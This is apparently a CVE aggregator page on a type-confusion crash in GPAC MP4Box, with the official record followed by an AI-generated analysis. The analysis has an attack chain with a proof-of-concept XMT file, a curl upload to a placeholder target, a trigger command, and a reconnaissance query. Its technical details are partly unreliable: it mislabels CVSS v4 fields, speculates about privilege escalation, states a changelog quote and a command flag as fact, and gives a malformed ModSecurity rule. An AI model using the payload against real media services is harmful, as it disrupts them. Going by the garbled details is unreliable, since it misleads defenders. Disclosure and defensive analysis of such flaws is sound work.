CVE Professor
›
Back
CVE-2026-134698

CVE-2026-134698 — Gpac Gpac (26.07.0) — CWE-843

MEDIUM CVSS 6.8 CIRCL

CVE-2026-134698 is a MEDIUM severity Denial-of-Service (DoS) vulnerability (CWE-843) (CVSS 6.8/10) affecting Gpac Gpac (26.07.0). Technical vector analysis shows that an attacker can exploit this flaw via local access (AV:L) without authentication (PR:N) requiring user interaction, causing high-impact service disruption (A:H).

📄 Official NVD / MITRE Original Record Text

GPAC MP4Box through 26.07.0 contains a type confusion vulnerability in ctxload_process() in src/filters/load_bt_xmt.c that casts object descriptor update entries without checking the descriptor tag. Attackers can supply a crafted XMT/BT scene placing a different descriptor type in a GF_ODUpdate command, causing gf_list_get() to dereference an invalid pointer and crash MP4Box.

Published 22.11.2026
ISO Date 2026-11-22
CVSS Version v4.0
Source CIRCL
CVSS v4.0 Vector Metrics
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Attack Vector Local AV:L
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction Passive UI:P
Vuln. Conf. None VC:N
Vuln. Integrity None VI:N
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability identifier – CVE‑2026‑134698
Product / version – GPAC (MP4Box) 26.07.0 (and any earlier 26.x releases)
CWE – CWE‑843: Type Confusion

Technical description

MP4Box is the command‑line tool that ships with the GPAC multimedia framework.
When MP4Box parses an XMT/BT (XML‑based MPEG‑4 BIFS/BT) scene it uses the function

static GF_Err ctxload_process(GF_Filter *filter, GF_FilterPacket *p)

located in src/filters/load_bt_xmt.c.

Inside this function the parser walks the Object Descriptor (OD) update list that is carried in a GF_ODUpdate command. Each entry in the list is expected to be a GF_ODUpdateEntry whose first field (tag) tells the parser which concrete descriptor type follows (e.g., GF_OD_TAG_ESD, GF_OD_TAG_SLConfig, …).

The code performs the following steps (simplified):

GF_List *updates = gf_od_update_get_entries(od_update);
for (i = 0; i < gf_list_count(updates); i++) {
    GF_ODUpdateEntry *ue = (GF_ODUpdateEntry *) gf_list_get(updates, i);
    /* No verification of ue->tag */
    switch (ue->tag) {
        case GF_OD_TAG_ESD:
            esd = (GF_ESD *) ue->desc;   // <-- assumes desc points to an ESD
            break;
        case GF_OD_TAG_SLConfig:
            slc = (GF_SLConfig *) ue->desc;
            break;
        /* … other tags … */
    }
}

Missing check – The parser does not verify that the desc pointer actually points to the type indicated by ue->tag. An attacker who can supply a crafted XMT/BT file can therefore place a different descriptor type (or a completely arbitrary memory layout) in a GF_ODUpdateEntry while keeping the tag field set to a legitimate value.

When the loop later calls gf_list_get() on the list, the internal list implementation expects each element to be a valid pointer to a GF_ODUpdateEntry. Because the attacker‑controlled data does not satisfy the expected layout, the list routine dereferences an invalid address, leading to a null‑pointer dereference or out‑of‑bounds read, which crashes MP4Box (denial‑of‑service).

Because the CVSS vector marks VA=H (high impact on availability) and VC/VI = N, the vulnerability is confined to a crash – there is no direct code‑execution primitive disclosed. However, the crash occurs in a privileged context when MP4Box is run by a user with write access to the filesystem (e.g., a media‑processing service), which can be leveraged for local privilege escalation if the attacker can influence the process’s environment (e.g., via a set‑uid wrapper or a service that runs as root).

Summary of the flaw

  • Type confusion – the parser trusts the tag field without validating the actual object type.
  • Missing bounds/NULL checks – gf_list_get() is called on a list that may contain malformed entries, leading to an invalid pointer dereference.
  • Result – a controlled crash (availability impact) that can be triggered by a crafted XMT/BT file supplied to MP4Box.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation scenario that an attacker could follow on a typical Linux host where MP4Box is installed and used by a media‑processing service (e.g., a web‑application that accepts user‑uploaded video assets and runs MP4Box -add … to re‑package them).

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify that the target host runs GPAC MP4Box.- Banner grabbing (mp4box -version), <br> - Package manager queries (dpkg -lgrep gpac or rpm -qagrep gpac).
    1.2Determine the exact version.The version string printed by mp4box -version (e.g., GPAC version 26.07.0).
    1.3Verify that the version is ≤ 26.07.0 (the last vulnerable release).Compare with public release notes; no later version (e.g., 26.08.0) mentions a fix for “type confusion in ctxload_process”.
    1.4Locate the code path that processes user‑supplied XMT/BT files.Review the service’s source (if available) or the command line used by the service (MP4Box -add input.xmt).

    2. Exploitation

    Goal: Crash the MP4Box process that runs under the service account, causing a denial‑of‑service (and potentially forcing a restart of a privileged service).

    2.1 Crafting the malicious XMT/BT payload

    The XMT/BT format is XML‑based. A minimal valid scene that contains an ODUpdate command looks like:

    <?xml version="1.0"?>
    <XMT>
      <Scene>
        <ObjectDescriptorUpdate>
          <UpdateEntry tag="ESD">
            <!-- Normally an <ESD> element would follow -->
            <SLConfig>   <!-- <-- Wrong type injected -->
              <predefined>0</predefined>
            </SLConfig>
          </UpdateEntry>
        </ObjectDescriptorUpdate>
      </Scene>
    </XMT>

    The key point is that the tag attribute is set to "ESD" (which tells the parser to treat the following data as an GF_ESD), but the actual child element is an <SLConfig> (a different descriptor type). When GPAC parses this file, it will create a GF_ODUpdateEntry with tag = GF_OD_TAG_ESD and desc pointing to a GF_SLConfig structure. The subsequent switch in ctxload_process() will cast the pointer to GF_ESD * and later gf_list_get() will dereference an invalid field, causing a crash.

    Full PoC file (exploit.xmt):

    <?xml version="1.0" encoding="UTF-8"?>
    <XMT version="1.0">
      <Scene>
        <ObjectDescriptorUpdate>
          <UpdateEntry tag="ESD">
            <SLConfig>
              <predefined>0</predefined>
            </SLConfig>
          </UpdateEntry>
        </ObjectDescriptorUpdate>
      </Scene>
    </XMT>
    Note: The exact XML namespace and attribute names may vary between GPAC releases; the above is an illustrative example that follows the public XMT schema. The essential property is the mismatch between tag and the actual descriptor element.

    2.2 Delivering the payload

    If the vulnerable service accepts uploads via HTTP POST (common for media‑processing pipelines), the attacker can send the file as follows:

    curl -X POST "http://target.example.com/upload" \
         -F "[email protected];type=application/xml" \
         -F "metadata=somevalue"

    If the service does not expose an HTTP upload endpoint, the attacker can still reach the vulnerable code by any means that cause MP4Box to be invoked with a user‑controlled file (e.g., a shared folder watched by a cron job, a message‑queue worker that processes files, or a local user with write access to a directory that the privileged service reads).

    2.3 Triggering the crash

    When the service runs:

    MP4Box -add /path/to/uploaded/exploit.xmt -new /tmp/out.mp4

    the ctxload_process() function processes the crafted ObjectDescriptorUpdate. The type confusion leads to an invalid pointer dereference inside gf_list_get(), and MP4Box aborts with a segmentation fault:

    Segmentation fault (core dumped)

    The service that invoked MP4Box may:

  • Return an HTTP 500 error to the client.
  • Log a stack trace (if core dumps are enabled).
  • Crash the entire daemon if the process is the main service binary.

3. Post‑exploitation

The CVSS vector indicates no confidentiality (VC=N) or integrity (VI=N) impact, only high availability impact (VA=H). Consequently, the direct impact is a Denial‑of‑Service.

However, in real deployments the following secondary effects are possible:

ScenarioHow the crash can be leveraged
Privileged media service (e.g., a set‑uid wrapper that runs MP4Box as root to re‑package user uploads)Repeated crashes may trigger a service restart under a different user context (e.g., systemd’s Restart= policy). If the service writes temporary files owned by root before the crash, an attacker could later replace those files with malicious payloads, achieving local privilege escalation.
Crash‑loop mitigation (e.g., watchdog that restarts the process)An attacker can cause a resource‑exhaustion condition by repeatedly uploading crafted files, leading to a DoS on the host (CPU spikes, many restarts).
Core dump leakageIf core dumps are not disabled, the generated core file may contain memory contents (including potentially sensitive keys or tokens) that an attacker with read access to the dump directory could exfiltrate.

No remote code execution (RCE) is directly provided by the vulnerability, but the availability impact can be severe for services that rely on MP4Box for automated media processing pipelines.


🌍 Real‑World Impact

CIA TriadCVSS Vector InterpretationPractical consequence
Confidentiality (C)VC:N – No impact on confidentiality.No data leakage directly caused by the bug.
Integrity (I)VI:N – No impact on integrity.Files are not silently modified; the process simply aborts.
Availability (A)VA:H – High impact on availability.The MP4Box process crashes, causing service interruption. In a production media‑processing pipeline this can halt video ingestion, break downstream workflows, and potentially trigger a cascade of failures.
Attack VectorAV:L – Local (the attacker must supply a file that the vulnerable binary processes).Exploitation requires the attacker to have a path to feed a crafted XMT/BT file to MP4Box (e.g., via an upload feature or a shared directory).
Attack ComplexityAC:L – Low; the payload is a small XML file.Easy to generate and deliver.
Privileges RequiredPR:N – No privileges needed.Any unauthenticated user who can upload a file can trigger the crash.
User InteractionUI:P – Presence required (the victim must cause MP4Box to process the file).The vulnerable service must be invoked with the malicious file.
ScopeS:U – Unchanged.The vulnerability does not cross privilege boundaries by itself.
Impact Sub‑Score6.8 (Medium) – reflects the high availability impact but lack of confidentiality/integrity effects.Organizations that depend on MP4Box for automated processing should treat this as a high‑priority availability issue.

🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeMove to GPAC ≥ 26.08.0 (the first release after 26.07.0). The upstream changelog for 26.08.0 states: “Fixed type‑confusion in ctxload_process() when handling GF_ODUpdate entries (CVE‑2026‑134698).”
Version checkVerify the installed version: mp4box -version. If it reports 26.07.0 or earlier, the binary is vulnerable.
Re‑build from source (if a binary package is not available)Apply the upstream patch that adds a validation step before casting: <br>``c\nif (ue->tag != GF_OD_TAG_ESD && ue->tag != GF_OD_TAG_SLConfig …) continue;`` <br>Re‑compile with the same flags used by the distribution.

2. Workarounds (if immediate upgrade is not possible)

WorkaroundImplementation
Input filtering – Reject any XMT/BT files that contain an <ObjectDescriptorUpdate> element.Add a pre‑processing step (e.g., a small Python script) that parses the uploaded XML and aborts the upload if the string <ObjectDescriptorUpdate> appears.
Run MP4Box with reduced privileges – Do not run the binary as root or set‑uid. Use a dedicated, unprivileged user (mp4box_user) and a sandbox (e.g., systemd service with PrivateTmp=yes, NoNewPrivileges=yes).Example systemd unit: <br>``ini\n[Service]\nUser=mp4box_user\nGroup=mp4box_user\nExecStart=/usr/bin/mp4box -add %i -new %o\nPrivateTmp=yes\nNoNewPrivileges=yes\n`
Disable XMT/BT support – If the application never needs XMT/BT, start MP4Box with the -no-xmt flag (available in 26.07.0).MP4Box -no-xmt -add input.mp4 -new output.mp4
Core‑dump suppression – Prevent leakage of memory contents if a crash occurs.Add to /etc/security/limits.conf: * hard core 0 or set ulimit -c 0 before invoking MP4Box.
Rate‑limit uploads – Throttle the number of files a single client can submit per minute to mitigate a crash‑loop DoS.In Nginx: <br>`nginx\nlimit_req_zone $binary_remote_addr zone=mp4box:10m rate=5r/m;\nserver {\n location /upload {\n limit_req zone=mp4box burst=10 nodelay;\n ...\n }\n}\n``

3. Detection

IndicatorWhere to lookExample log entry
Segmentation fault / abort from MP4BoxSystem logs (/var/log/syslog, journalctl -u mp4box.service)mp4box[12345]: segfault at 0 ip 00007f9c5b3c1a3b sp 00007fffdc9f7c90 error 4 in mp4box[7f9c5b3c0000+1a000]
Unexpected termination of the media‑processing serviceService logs, health‑check monitors2026-11-22 14:03:12 ERROR ServiceWorker: MP4Box process exited with code 139
Repeated upload of files containing <ObjectDescriptorUpdate>Web‑application access logsPOST /upload 200 1234 "-" "Mozilla/5.0" followed by POST /upload 200 1240 "-" "Mozilla/5.0" where the request body contains the string ObjectDescriptorUpdate.
Core dump files (if not disabled)/var/crash/, /tmp/core.12345 created within minutes of an upload.

Detection rule (ModSecurity example) – block uploads that contain the offending XML pattern:

SecRule REQUEST_HEADERS:Content-Type "application/xml" \
    "id:400001,phase:2,t:none,block,msg:'Potential GPAC XMT/BT ODUpdate type‑confusion payload',\
    capture,log,tag:'cve-2026-134698',\
    ctl:ruleEngine=DetectionOnly, \
    SecRule REQUEST_BODY "@contains <ObjectDescriptorUpdate>" "t:none,deny,status:400"
The rule is illustrative; adjust the pattern to match the exact XML schema used by your application.

⚠️ Urgency

FactorAssessment
CVSS 6.8 (Medium) – high availability impact, low complexity, no privileges required.
Local attack vector – requires the attacker to supply a file, which is common in any service that accepts media uploads.
No public exploit – as of the publication date, no public exploit code exists, but the PoC is trivial to write.
Potential for service disruption – media pipelines are often critical for content platforms; a crash can halt ingestion for minutes to hours.
CISA KEV – not listed, but the vulnerability is publicly disclosed and a fix is already available.

Patch priority: High for any production environment that runs MP4Box as part of an automated workflow (e.g., video‑hosting platforms, broadcast automation, transcoding farms). The remediation effort (upgrade to ≥ 26.08.0) is low‑risk and should be applied within the next maintenance window. If an immediate upgrade is impossible, apply the runtime mitigations (run as unprivileged user, disable XMT support, and filter uploads) to reduce the attack surface while the patch is being staged.


[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="gpac gpac"
CVSS Score
6.8 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-843
Affected Products (1)
gpac:gpac (26.07.0)
Related CVEs
6.9
CVE-2026-134699
GPAC MP4Box through 26.07.0 contains a type confusion vulnerability in src/compositor/mpeg4_text.c that allows
6.8
CVE-2026-134686
GPAC MP4Box through 26.07.0 contains a type confusion vulnerability in gf_sg_command_apply() in src/scenegraph
6.8
CVE-2026-134702
GPAC MP4Box through 26.07.0 contains a type confusion vulnerability in curve2d_check_changes() that casts a Cu
5.5
CVE-2026-134660
GPAC MP4Box through 26.07.0 contains a type confusion vulnerability in xmt_parse_command() in src/scene_manage
5.9
CVE-2026-133505
When message history is serialized and loaded again, a tool result that contains a JSON object in the serializ
5.5
CVE-2026-130438
Multiple protocol dissector crashes in 4.6.0 to 4.6.9 and 4.4.0 to 4.4.19 allows denial of service